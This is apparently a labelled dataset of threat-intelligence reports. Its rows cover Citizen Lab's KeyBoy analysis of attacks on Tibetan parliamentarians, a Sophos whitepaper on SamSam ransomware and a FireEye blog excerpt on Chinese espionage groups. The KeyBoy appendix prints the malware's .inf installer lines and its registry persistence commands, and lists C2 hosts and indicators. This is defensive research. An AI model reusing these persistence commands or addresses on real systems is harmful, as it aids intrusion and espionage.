handled via Windows service One sample contained the \xe2\x80\x98GetUP\xe2\x80\x99 export, the other did not Used full word header codes encapsulated by $ symbols, such as $login$ P_20150313 Adopts new algorithm for config file encoding Retained browser credential theft module Moved to persistence via Run key Header codes shift to #-encapsulation Deployed without use of dropper binary 20151108 Continues use of new config encoding algorithm Migrated to use of WinLogon key for persistence Installation now conducted via VBS scripts Adopted multi-byte strings internally and in C2 communication Header codes move to *-encapsulation 64 bit version distributed inside 32 bit payload No evidence of browser credential module Deployed using dropper binary 20160509 Continues use of new config encoding algorithm Added AutoUpdate/Upload & Execute function Deployed using dropper binary Header codes retain *-encapsulation, new \xe2\x80\x98keep-alive\xe2\x80\x99 code, *l* Execution via DLL search-order hijacking of legitimate Windows application VBS script traces still present, but no longer used No 64bit version embedded agewkassif Functionally identical to 20160509 sample Continues use of new config encoding algorithm Removed date string from version identifier Added static string obfuscation code. Strings used for C2 commands, header codes, and more are now decoded at runtime Table 6: Changes observed between successive versions of KeyBoy Additional technical details relating to several of the KeyBoy samples described in this section are provided in Appendix B. Connecting KeyBoy to Other Operations In their Operation Tropic Trooper report, Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy. Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware. This connection may offer another explanation for the significant change in the configuration file encoding algorithm we described in relation to KeyBoy. If KeyBoy is a single component of a larger espionage toolkit, the developers may have realized that this older, static-key based, configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite. A Note on Samples We were not able to locate a large sample set for KeyBoy. Though we discussed the development timeline, we have limited insight into the victims targeted by each of these samples. We cannot conclude that all are being deployed by the same group. We provide YARA signatures and encourage anyone who can provide additional samples or context to contact us. Recent Tibetan Protests The harm of malware operations against the Tibetan community is well-documented, and this latest campaign is no exception. Examining the lure content sent to the Tibetan Parliamentarians sheds light on the oppression faced by the Tibetan community. On October 19, over 180 Tibetan groups protested the ongoing demolitions of the Larung Gar Buddhist Academy, the largest Tibetan Buddhist institute in the world. The demolitions stem from an order issued by Chinese authorities in June 2016, according to a joint statement issued by Tibet groups on the date of protest. According to the same joint statement, the order from Chinese authorities said the community was in need of \xe2\x80\x9cideological guidance\xe2\x80\x9d from the Chinese state. In conjunction with the demolitions, residents are being forcefully removed from Larung Gar. To date, the forced removals have led to to the suicide of three resident nuns. The Communist Party of China views the Tibetan movement as a threat to its rule, alongside Uyghur, Falun Gong, advocates for an independent Taiwan and Hong Kong, and members of the democracy movement. Surveilling the highest governing body of the Central Tibetan Administration aligns with the overall interests of the government of China. However, connecting the malware development ecosystem and the flow of stolen information to a state-actor is an elusive task. With the data available we are unable to conclusively connect the Parliamentarian Operation to any specific actor or nation-state. Conclusions Recent Citizen Lab reports have documented a trend away from the use of attachment-based malware operations targeting the Tibetan Diaspora. These changes may reflect malware operators shifting tactics in response to changes in the community, including education campaigns encouraging Tibetans not to use email attachments, or perhaps also by more sophisticated attachment scanning by popular email providers. The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits. These exploits, while older, were used to deliver a malware payload which shows signs of a systematic technical adaptation designed to reduce the likelihood of signature based detection. The developers of KeyBoy have made the minimum necessary technical changes required to avoid detection by signature-based antivirus, and yet retained \xe2\x80\x9cold\xe2\x80\x9d exploits because they likely continue to work their targets. For a community lacking an adequate level of human and financial resources, deployment of commercial (i.e.: non-free) antivirus solutions, updated releases of common office productivity software, and even software patches may be out of reach. Under such conditions, the use of exploits against older, patched, vulnerabilities becomes yet another iteration of an actor using \xe2\x80\x9cjust enough\xe2\x80\x9d sophistication to successfully exploit a target. The operation against the Parliamentarians yields a clear example of this tactic. When the August operation failed to fully compromise the target group, the operators redeployed in October using a slightly newer, but still well-known and patched, exploit. As we observe the evolution of strategies levied against the Tibetan Diaspora, the constant cat-and-mouse game embroiling this community becomes evident. While some behavioural adaptations have shown promise in reducing the threat, the operation against the Tibetan Parliament underscores the need for continued diligence and security awareness. Acknowledgments Special thanks to Tibet Action Institute. Additional thanks to Jakub Dalek, PassiveTotal, VirusTotal, and TNG. Appendix A: Decoding KeyBoy Config Recent versions of KeyBoy maintain encoded configuration data inside a file stored on disk. In the 20160509 sample used in the Tibetan Parliament campaign, this file was named wab32res.dat. The configuration file contains a 16 byte header followed by a number of bytes which are encoded using a novel algorithm. The 16 byte header stores an ascii character representation of the hexadecimal values corresponding to the size (in bytes) of the decoded config data, followed by the number of bytes containing encoded configuration data. The sample under examination contained the following header, and Figure 7 shows the raw configuration file: Size of config (in bytes) once decoded Number of bytes in encoded config 0x00 0x00 0x00 0x5B 0x00 0x00 0x00 0x4B Figure 7: Configuration file for sample under examination The configuration file used by this malware is encoded using what appears to be a custom schema. While some earlier versions of this backdoor used more simplified encoding techniques for the configuration data, newer versions have adopted a more involved algorithm. At the heart of the decoding function is the use of a dynamically constructed lookup table containing sequences of bytes which represent the ASCII characters for the cleartext configuration data. Figure 8: Construction of the base lookup table At the outset of the decoding function, a base lookup table is created containing 256 entries. This initial table can be thought of as an identity matrix, where, for each index, the lookup table contains the index as the stored value (see: Figure 8). For example: LookupTable[0x0] \xe2\x86\x92 0x0 LookupTable[0x1] \xe2\x86\x92 0x1 \xe2\x8b\xae \xe2\x8b\xae LookupTable[0xFF] \xe2\x86\x92 0xFF During the decoding of the configuration file, this table is expanded dynamically. Each iteration of the algorithm will populate the lookup table sequentially, beginning with index 0x102 (since the table index 0x101 is reserved). Algorithm Walkthrough The algorithm has three basic steps: Obtain an index by decoding a value from the configuration file Find the value in the lookup table corresponding to this index, and place this result in the memory buffer holding decoded configuration data Generate a new value and insert it into the lookup table at the next available index Step 1 This step requires the algorithm to obtain an index value from the configuration file. In order to obtain this index, a decoding function evaluates the data in the configuration file not as successive bytes, but as a series of integers calculated by considering consecutive sequences of 9-bit binary values. Figure 9 provides a visual representation of this process. We can see that the first few indices being calculated by this decoder are hexadecimal values 0x100, 0x39, 0x38, and 0x37. The first value, 0x100, is a \xe2\x80\x98marker\xe2\x80\x99 which denotes the beginning of the configuration data. The values 0x39, 0x38, and 0x37 are the first three indices used to obtain data from the lookup table. Figure 9: Step 1 in KeyBoy decoding algorithm. Indices are obtained by viewing the data in 9-bit \xe2\x80\x98windows\xe2\x80\x99 Step 2 As mentioned above, the first 256 entries in the lookup table are created as an identity matrix, and thus the result of lookups for 0x39,0x38,0x37 would be: LookupTable[ 0x39 ] = 0x39 => \xe2\x80\x9c9\xe2\x80\x9d (ascii) LookupTable[ 0x38 ] = 0x38 => \xe2\x80\x9c8\xe2\x80\x9d (ascii) LookupTable[ 0x37 ] = 0x37 => \xe2\x80\x9c7\xe2\x80\x9d (ascii) These values are then stored in memory as decoded bytes of configuration data. Step 3 After each iteration of calculating an index (step 1) and then obtaining the corresponding value from the lookup table (step 2), the algorithm will create a new entry in the lookup table at the next available index. The format of this new lookup table entry is simply the concatenation of the results of the previous lookup with the first byte of the current lookup (see: Figure 10). Figure 10: Steps 2 & 3 in the KeyBoy configuration decoding algorithm So, again using the same example bytes along with Figures 9 and 10 above, if the current iteration of the algorithm decoded the value 0x34 in step 1, and thus retrieved the value 0x34 = \xe2\x80\x984\xe2\x80\x99 in step 2, the newly formed lookup table entry would be: LookupTable[ 0x106 ] = [0x35,0x34] => \xe2\x80\x9c54\xe2\x80\x9d Thus, if at some future point in the decoding process the index 0x106 was obtained in step 1, the output to the configuration data would be the two bytes [0x35,0x34] which have ascii representation \xe2\x80\x9c54\xe2\x80\x9d. This provides a method of data compression to the configuration file. A Python script was created for the purpose of automating this configuration file decoding process. The output of this script when run against the configuration file used by the first of the two Parliamentarian operation samples yielded the following data: Identity Code: 9876543210 C2 Host/IP #1: 45.125.12.147 C2 Host/IP #2: 103.40.102.233 C2 Host/IP #3: 45.125.12.147 C2 Port #1: 443 C2 Port #2: 443 C2 Port #3: 443 Password: tibetwoman Campaign ID: NNNN Appendix B: KeyBoy Samples Version: P_20150313 Exploit Document: 05b5cf94f07fee666eb086c91182ad25 Payload: 0c7e55509e0b6d4277b3facf864af018 DLL Exports Embedding 0x1000bfb0 GetUP 0x1000c940 SSSS 0x1000bc60 StartWork 0x1000c570 SvcMain 0x1000c430 Installation This sample was discovered inside a malicious PowerPoint slide show which carried lure content consistent with an Indian-nexus, and which was uploaded to VirusTotal in April 2015 using the filename athirappalli.pps. Athirappilly is a village in India known for its wildlife and waterfalls. The visual contents of the slide show are images of waterfalls, presumably from this village. This malicious .pps file was weaponized using (closely related to CVE-2014-4114 aka Sandworm, which we have previously observed this exploit used against the Tibetan community) to execute the following embedded DLL: Name: SystemCertificates.ocx Size: 495616 bytes Compile Time: 13 Mar 2015 03:05:34 UTC MD5: 0c7e55509e0b6d4277b3facf864af018 SHA256: 5395f709ef1ca64c57be367f9795b66b5775b6e73f57089386a85925cc0ec596 Persistence This DLL maintains persistence by setting the following registry entry in the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key: SystemCertificates \xe2\x86\x92 ""cmd /c start Run dll32.exe %APPDATA%\\Microsoft\\SystemCertificates\\SystemCertificates.ocx, SSSS This registry key is set via the Sandworm exploit, as the execution of an .inf file containing the following instructions are triggered: [DefaultInstall] CopyFiles = RxCopy AddReg = RxStart [RxCopy] ..\\..\\Roaming\\Microsoft\\SystemCertificates\\SystemCertificates.ocx, contact.pdf [RxStart] HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Run,SystemCertificates,,""cmd /c start Rundll32.exe %APPDATA%\\Microsoft\\SystemCertificates\\SystemCertificates.ocx, SSSS"" In comparison with the prior generation of KeyBoy examined by Rapid7, this mechanism represents a change to registry based persistence from the previously used Windows service. Configuration Using the algorithm presented in Appendix A, we were able to decode the configuration file used by this sample. Once decoded, the following information was obtained: Identity Code: IJUDHSDJFKJDE C2 Host/IP #1: www.about.jkub[.]com C2 Host/IP #2: www.eleven.mypop3[.]org C2 Host/IP #3: www.backus.myftp[.]name C2 Port #1:80 C2 Port #2:80 C2 Port #3:443 Password:wariii Campaign ID:war Infrastructure C2 Host: www.about.jkub[.]com Desc: Dynamic DNS provided by changeip.com Host First Seen: Last Seen: 175.213.49[.]6 2016-10-25 Current as of publication 45.32.47[.]148 2016-09-26 2016-10-24 157.7.84[.]81 2015-04-07 2015-04-21 \xc2 C2 Host: www.eleven.mypop3[.]org Desc: Dynamic DNS provided by changeip.com Host First Seen: Last Seen: 175.213.49[.]6 2016-10-25 Current as of publication 45.32.47[.]148 2016-09-26 2016-10-24 \xc2 C2 Host: www.backus.myftp[.]name Desc: Dynamic DNS Host First Seen: Last Seen: 192.241.149[.]43 2015-05-05 Current as of publication Version: 20151108 Exploit Document: 8846d109b457a2ee44ddbf54d1cf7944 Dropper: 8846d109b457a2ee44ddbf54d1cf7944 Payload: c5b5f01ba24d6c02636388809f44472e Embedded 64bit: 371bc132499f455f06fa80696db0df27 Payload DLL Exports Install 0x100085a0 SSSS 0x100081e0 StartWork 0x100086a0 SvcMain 0x10008fb0 cfsUpdate 0x10008cb0 Installation This .rtf document, also exploiting CVE-2012-0158, was submitted to VirusTotal in March 2016. The exploit triggers the execution of an embedded dropper, similar to the method observed in our initial sample described in Part 1. This dropper creates three files on disk, each in the %localappdata% folder: cfs.dat \xe2\x80\x93 KeyBoy configuration file cfsupdate.dal \xe2\x80\x93 KeyBoy payload DLL desk.vbs \xe2\x80\x93 Windows script used for installation The Windows script file, desk.vbs, contained the following content: The dropper executes this script file which subsequently launches the KeyBoy backdoor and sets persistence as described below. Also noteworthy in this sample was the fact that this payload inspected the architecture of the victim PC to determine if it was 64 bit capable. If so, a 64 bit version of the payload was decoded from the data section of the cfsupdate.dat file using an XOR operation having key 0x90. This is very similar to the method described by Trend Micro in their report on the TROJ_YAHOYAH malware. Interestingly, the 64-bit module was packed using a known freeware binary packer. This is in contrast to the 32-bit versions of KeyBoy, none of which contained any binary protections whatsoever. Upon unpacking, the 64-bit version of this KeyBoy code was functionally identical to the 32-bit version. Leftover Code Further illustrating the continued development and connections between samples are the leftover remnants from 20151108 existing in the 20160509 Parliamentarian sample. The Parliamentarian dropper contained references to the Desk.vbs script described above, yet this file and related content was not deployed or otherwise used in the 20160509 version. Persistence Persistence is achieved through the WinLogon\\Shell registry key, and is installed by the dropper\xe2\x80\x99s execution of the Install export from the KeyBoy DLL. This export creates the file %localappdata%\\Desktop.ini as shown below, and installs it by launching the Windows regini.exe command: HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon shell = explorer.exe,C:\\Windows\\system32\\rundll32.exe ""%LOCALAPPDATA%\\cfs.dal"" cfsUpdate Configuration The configuration file used by this version of KeyBoy is written to disk as %localappdata%\\cfs.dat by the dropper, similar to the behaviour of our 20160509 sample. This configuration file uses the newer encoding method outlined above and in Appendix A. Once decoded, the following information was obtained: Identity Code: 9876543210 C2 Host/IP #1: 103.242.134[.]243 C2 Host/IP #2: 103.242.134[.]243 C2 Host/IP #3: 103.242.134[.]243 C2 Port #1: 443 C2 Port #2: 1234 C2 Port #3: 1234 Password: password8888 Campaign ID: MyUser Possible Targeting This malicious document embedded an empty decoy document to hide the exploitation of the vulnerability. We found however another interesting sample with the exact same payload but with a decoy document\xc2 presenting a petition to release a Tibetan activist: Infrastructure This sample communicates with the following command and control server: C2 Host: 103.242.134[.]243 City: Hanshan Country: China Version: 20160509 (alternate) Exploit Document: beadf21b923600554b0ce54df42e78f5 Dropper: 0b4d45db323f68b465ae052d3a872068 Payload: 495adb1b9777002ecfe22aaf52fcee93 Payload DLL Exports SSSS 0x100080b0 SvcMain 0x10008b80 cfsUpdate 0x10008880 During our research we encountered another sample of the 20160509 version of KeyBoy. This sample was also found to be deployed using the CVE-2012-0158 vulnerability. The malware payload was identical to our first Parliamentary sample outlined in Part 1, however the configuration file in this alternate sample was different. Configuration Identity Code: 9876543210 C2 Host/IP #1: 116.193.154[.]69 C2 Host/IP #2: 116.193.154[.]69 C2 Host/IP #3: 116.193.154[.]69 C2 Port #1:443 C2 Port #2:80 C2 Port #3:443 Password:8888 Campaign ID:8888 Possible Targeting The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched. This decoy carries content with a Tibetan nexus. Infrastructure C2 Host: 116.193.154[.]69 CNAME: 116-193-154-69.pacswitch.net Appendix D: IOCs and Links KeyBoy binaries agewkassif: 087bffa8a570079948310dc9731c5709 20160509: 495adb1b9777002ecfe22aaf52fcee93 P_20150313: 0c7e55509e0b6d4277b3facf864af018 20151108 (32bit): c5b5f01ba24d6c02636388809f44472e 20151108 (64bit): 371bc132499f455f06fa80696db0df27 Droppers 0b4d45db323f68b465ae052d3a872068 23d284245e53ae4fe05c517d807ffccf 98977426d544bd145979f65f0322ae30 Exploit Documents 8307e444cad98b1b59568ad2eba5f201 (used in August Parliamentary campaign) 913b82ff8f090670fc6387e3a7bea12d (used in October Parliamentary campaign) 05b5cf94f07fee666eb086c91182ad25 8846d109b457a2ee44ddbf54d1cf7944 beadf21b923600554b0ce54df42e78f5 C2 Hosts www.about.jkub[.]com www.eleven.mypop3[.]org www.backus.myftp[.]name tibetvoices[.]com 103.242.134[.]243 116.193.154[.]69 103.40.102[.]233 45.125.12[.]147 Resources Keyboy Network Communication Encoding Details Configuration File Decoder C2 Decoder YARA Signatures Indicators of Compromise X Tags: China, Espionage, KeyBoy, Malware, Tibet, Tropic Trooper Related: Social Engineering Attacks on Government Opponents \xe0\xbd\x98\xe0\xbd\xb2\xe0\xbc\x8b\xe0\xbd\x98\xe0\xbd\x84\xe0\xbc\x8b\xe0\xbd\x82\xe0\xbd\xb2\xe0\xbc\x8b\xe0\xbd\x9a\xe0\xbd\xbc\xe0\xbd\x82\xe0\xbd\xa6\xe0\xbc\x8b\xe0\xbd\xa6\xe0\xbe\xa1\xe0\xbd\xba\xe0\xbc\x8b\xe0\xbd\x81\xe0\xbd\x82\xe0\xbc\x8b\xe0\xbd\xa3\xe0\xbc\x8b\xe0\xbd\xa2\xe0\xbe\x92\xe0\xbe\xb1\xe0\xbd\xb4\xe0\xbd\x93\xe0\xbc\x8b\xe0\xbd\x98\xe0\xbd\x90\xe0\xbd\xb4\xe0\xbd\x91\xe0\xbc\x8b\xe0\xbd\x94\xe0\xbd \xe0\xbd\xb2\xe0\xbc\x8b\xe0\xbd\x82\xe0\xbe\xb3\xe0\xbd\xbc\xe0\xbd\x82\xe0\xbc\x8b\xe0\xbd\x80\xe0\xbe\xb3\xe0\xbd\x91\xe0\xbc\x8b\xe0\xbd\x80\xe0\xbe\xb1\xe0\xbd\xb2\xe0\xbc\x8b\xe0\xbd\x91\xe0\xbe\xb2\xe0\xbc\x8b\xe0\xbd \xe0\xbd\x96\xe0\xbd\xb4\xe0\xbd \xe0\xbd\xb2\xe0\xbc\x8b\xe0\xbd\xa2\xe0\xbe\x92\xe0\xbd\xbc\xe0\xbd\xa3\xe0\xbc\x8b\xe0\xbd\xa2\xe0\xbe\xa1\xe0\xbd\xb4\xe0\xbd\x84\xe0\xbc\x8b\xe0\xbd \xe0\xbd\x95\xe0\xbe\xb2\xe0\xbd\x91\xe0\xbc\x8b\xe0\xbd\x96\xe0\xbd\x9e\xe0\xbd\xb2\xe0\xbd\x93\xe0\xbc\x8b\xe0\xbd\x94\xe0\xbc\x8d Shifting Tactics: Tracking changes in years-long espionage campaign against Tibetans Share: Research Targeted Threats Free Expression Online Transparency and Accountability App Privacy and Controls Global Research Network Tools & Resources All Publications News In the Media Events Opportunities Newsletter Archives About About the Citizen Lab People Media Resources Teaching Donate Connect Newsletter Leave this field empty if you're human: Privacy Policy Unless otherwise noted this site and its contents are licensed under a Creative\xc2 Commons Attribution 2.5 Canada license.","0","1","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"A Sophos Whitepaper April 2018 SamSam Ransomware Chooses Its Targets Carefully Unlike the spam-like approach of garden-variety ransomware, this family exploits vulnerabilities to attack specific organizations. By Dorka Palotay and Peter Mackenzie, SophosLabs SamSam Ransomware Chooses Its Targets Carefully 2A Sophos Whitepaper April 2018 SamSam ransomware made a strong start in 2018, targeting carefully selected organizations and stirring up significant media attention. Unlike most of the well-known ransomware families, which attack randomly, SamSam is used against specific organizations, those most likely to pay to get their data back, like hospitals or schools. Instead of spam campaigns, the cybercriminals behind SamSam use vulnerabilities to gain access to the victims\xe2\x80\x99 network or use brute-force tactics against the weak passwords of the Remote Desktop Protocol (RDP). After successfully infecting a host, SamSam seeks out additional victims by network mapping and stealing credentials. Once the potential targets are discovered, the attackers manually deploy SamSam on the selected systems using tools like PSEXEC and batch scripts. SamSam is not new. It first appearing in early 2016, but frequently draws the security community\xe2\x80\x99s attention. Its developers make great efforts to cover their tracks. In many cases the initial infection vector of the attacks isn\xe2\x80\x99t clear or some steps of the attack chain are missing. The attackers try to make analysis harder by deleting files involved in an attack, including the payload itself, and by changing the deployment methodology. In January 2018, Talos Intelligence published an article that described a new technique used by SamSam to execute the payload. At SophosLabs we have observed a slight change in the attack mechanism since the Talos report. The following diagram introduces the different steps of the new SamSam variant. While in this case the initial infection vector is still unknown, numerous stages of the attacks have been discovered: Runner .Net ExecutableBatch File IN FE CT ED H O ST NETWORK Decryptor .Net Dll Encryptrd payload .stubbin Decryptand run Call decryption functionRun RSA public key .keyxml PSEXEC Read Decryption password Pa ra m et er https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html SamSam Ransomware Chooses Its Targets Carefully 3A Sophos Whitepaper April 2018 The orange arrows indicate the steps performed by the malware automatically, while the grey arrows are manual steps executed by the attackers. Batch file Example 1 Example 2 From its first appearance, SamSam used batch files for certain operations while spreading across the network and executing the ransomware. This hasn\xe2\x80\x99t changed. A batch file is responsible for executing the malware and deleting certain components. This batch file is executed with one argument, which is the password used to decrypt the actual payload. The attackers specify a total price and a price per host as well. They claim that for the total price all the encrypted machines will be restored; alternately, the victims can pay per host if they want to restore only a few machines by sending the specific host names to the attackers. SamSam Ransomware Chooses Its Targets Carefully 4A Sophos Whitepaper April 2018 Runner The runner component is responsible for decrypting and executing the payload. It is executed by the batch file with four parameters. The first one is the decryption password, which is followed by a string that is part of the .onion site address. Then the total ransom amount and the price per host values are given to the runner. It looks for a file with .stubbin extension. If it was found, the runner reads the content of the file, then deletes it. The read data will be decrypted in memory. SamSam Ransomware Chooses Its Targets Carefully 5A Sophos Whitepaper April 2018 Decryptor The interesting change in the runner component is that the decryption function, used to decrypt the payload, is no longer located inside the executable but rather in a separate DLL file. The DLL is referenced in the .NET executable and the decryption function is called from that. The AES key and IV for decryption will be derived from the password provided by the attackers. SamSam Ransomware Chooses Its Targets Carefully 6A Sophos Whitepaper April 2018 In some cases, the code of the runner component is stuffed with garbage code like the following: To increase the chances of a successful attack, the attacker deploys two versions of the runner and the corresponding DLLs. If the first attack was unsuccessful, then they start a new attack using a modified version of the .exe file, which contains garbage code. SamSam Ransomware Chooses Its Targets Carefully 7A Sophos Whitepaper April 2018 Payments Talos reported a Bitcoin wallet address in January which received 30.4 BTC. It seems that the attackers have switched to another address from mid-January. It received 23 payments with a total income of 68.1 BTC. Most of the victims have decided to pay the full price, but there are some who paid per host. Protection: \xc3\x8c Batch file: Troj/RansRun-A \xc3\x8c Runner: Mal/Kryptik-BV, Troj/Ransom-EVF, ML/PE-A \xc3\x8c Decryptor: Troj/Samas-F \xc3\x8c Payload: Mal/Samas-C \xc3\x8c The PsExec program is blocked as a potentially unwanted application (PUA): PsExec of type Hacktool. SamSam Ransomware Chooses Its Targets Carefully United Kingdom and Worldwide Sales Tel: +44 (0)8447 671131 Email: sales@sophos.com North American Sales Toll Free: 1-866-866-2802 Email: nasales@sophos.com Australia and New Zealand Sales Tel: +61 2 9409 9100 Email: sales@sophos.com.au Asia Sales Tel: +65 62244168 Email: salesasia@sophos.com \xc2\xa9 Copyright 2018. Sophos Ltd. All rights reserved. Registered in England and Wales No. 2096520, The Pentagon, Abingdon Science Park, Abingdon, OX14 3YP, UK Sophos is the registered trademark of Sophos Ltd. All other product and company names mentioned are trademarks or registered trademarks of their respective owners. 2018-05-01 WP-NA (TN) IOC: Files: Bat: 6b21aec23a844e6a5af1879c41b9632a0e705bb7 713973f14ae8ff88a63a1491e82e48f362e3aed7 Runner: 3cbddf5f027b19e55366ecc0fd287f31379175a0 \xe2\x80\x93 z2.exe Contains garbage code. Calls the decryption function from sdgasfse.dll. a1ab74d2f06a542e77ea2c6d641aae4ed163a2da \xe2\x80\x93 mswinupdate.exe Contains no garbage. Calls the decryption function from ClassLibrary1.dll Dll: 138c3aae51e67db0c4134affae428fe91c0d1686 - sdgasfse.dll 4d7a60bd1fb3677a553f26d95430c107c8485129- ClassLibrary1.dll Extension: .weapologize TOR site: hxxp://jcmi5n4c3mvgtyt5[.]onion BTC Wallet: 1HbJu2kL4xDNK1L9YUDkJnqh3yiC119YM2","0","1","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"The Path to Mass-Producing Cyber Attacks | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research September 2014 Threat Research Blog Posts The Path to Mass-Producing Cyber Attacks Threat Research The Path to Mass-Producing Cyber Attacks September 11, 2014 | by Thoufique Haq, Sai Omkar Vashisht, Mike Scott, Ned Moran | Threat Intelligence, Targeted Attack Threat Intelligence Threat Research Targeted Attack Lines of people, lines of parts. The modern production line is composed of individuals contributing to a larger process. This common manufacturing approach is efficient, effective, and profitable. Now it appears cyber attack groups in the world\xe2\x80\x99s largest manufacturing country are using a similar approach to infiltrate targeted networks and compromise data \xe2\x80\x93 collaborating for increased efficiency and effectiveness. FireEye Labs have published a report \xe2\x80\x93 Operation Quantum Entanglement \xe2\x80\x93 that details two attack campaigns by different groups in separate regions of China, apparently operating in parallel. The first group, named Moafee, appears to operate from the Guandong Province. Its targets include the military organizations and governments of countries with national interests in the South China Sea, including some within the U.S. defense industrial base. Moafee may have chosen its targets based on the rich resources of South China Sea region \xe2\x80\x93 the world\xe2\x80\x99s second business sea-lane, according to Wikipedia \xe2\x80\x93 including rare earth metals, crude oil, and natural gas. The second group, known as DragonOK, targets high-tech and manufacturing companies in Japan and Taiwan. This may indicate they\xe2\x80\x99re acquiring trade secrets for a competitive economic advantage in the area. DragonOK appears to operate out of China\xe2\x80\x99s Jiangsu Province. It seems that both groups, while operating in distinctly different regions, either 1) collaborate, 2) receive the same training), 3) share a common toolkit supply chain, or 4) some combination of these scenarios, which means they are employing a \xe2\x80\x98production line\xe2\x80\x99-type approach to initiating cyber attacks to breach defenses. Mirroring Each Other Both campaigns use similar tools, techniques and procedures (TTPs) \xe2\x80\x93 including custom-built backdoors and remote-administration tools (RATs) to infiltrate their targets\xe2\x80\x99 networks. Moafee and DragonOK both use a well-known proxy tool \xe2\x80\x93 HUC Packet Transmit Tool (HTRAN) \xe2\x80\x93 to disguise their geographical locations. Both utilize password-protected documents and large file sizes to disguise their attacks. These approaches, along with other similarities in TTPs we\xe2\x80\x99ll review below, seem to indicate the groups are affiliated in some way and have at least some commonality in their attack campaigns. A third, separate group also appears to be using the same TTPs, including the same custom backdoors and RATs; however, FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups. Hidden from Sight Both Moafee and DragonOK favor spear-phishing emails as an attack vector, often employing a decoy to deceive the victim. The emails are well crafted and audience specific, even written in the intended victim\xe2\x80\x99s native language. Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document. We also observed both groups using decoy documents that are presented to the victim while the malware runs in the background. The groups both use common, and multiple, methods to hide their activities. Employing sandbox environments, antivirus software and gateway firewalls, they do their best to remain unobtrusive. Methods include: checking for the number of core processors (and quitting if only one is detected); attaching password-protected documents and providing a password in the email contents; and sending large files padded with unnecessary null bites to slide past network- and host-based AV engines that can\xe2\x80\x99t scan larger files. Tools of the Trade\xc2 The two different operators seem to share backdoors and RATs \xe2\x80\x93 some of which are custom; others are publicly available. Overlapping tools include: CT/NewCT/NewCT2 Mongall Nflog PoisonIvy We observed Moafee running HTRAN proxies on their multiple Command and Control (C2) servers \xe2\x80\x93 all operated on CHINANET, and hosted in Guangdong Province. Like the Moafee group, we observed DragonOK running HTRAN to proxy their C2 servers, which are also operated on CHINANET but are hosted in the Jiangsu Province. Summary Primarily focused on governments and military operations of countries with interests in the South China Sea, Moafee likely chooses its targets based on region\xe2\x80\x99s rich natural resources. By targeting high-tech and manufacturing operations in Japan and Taiwan, DragonOK may be acquiring trade secrets for a competitive economic advantage. While their targets and missions appear different, our 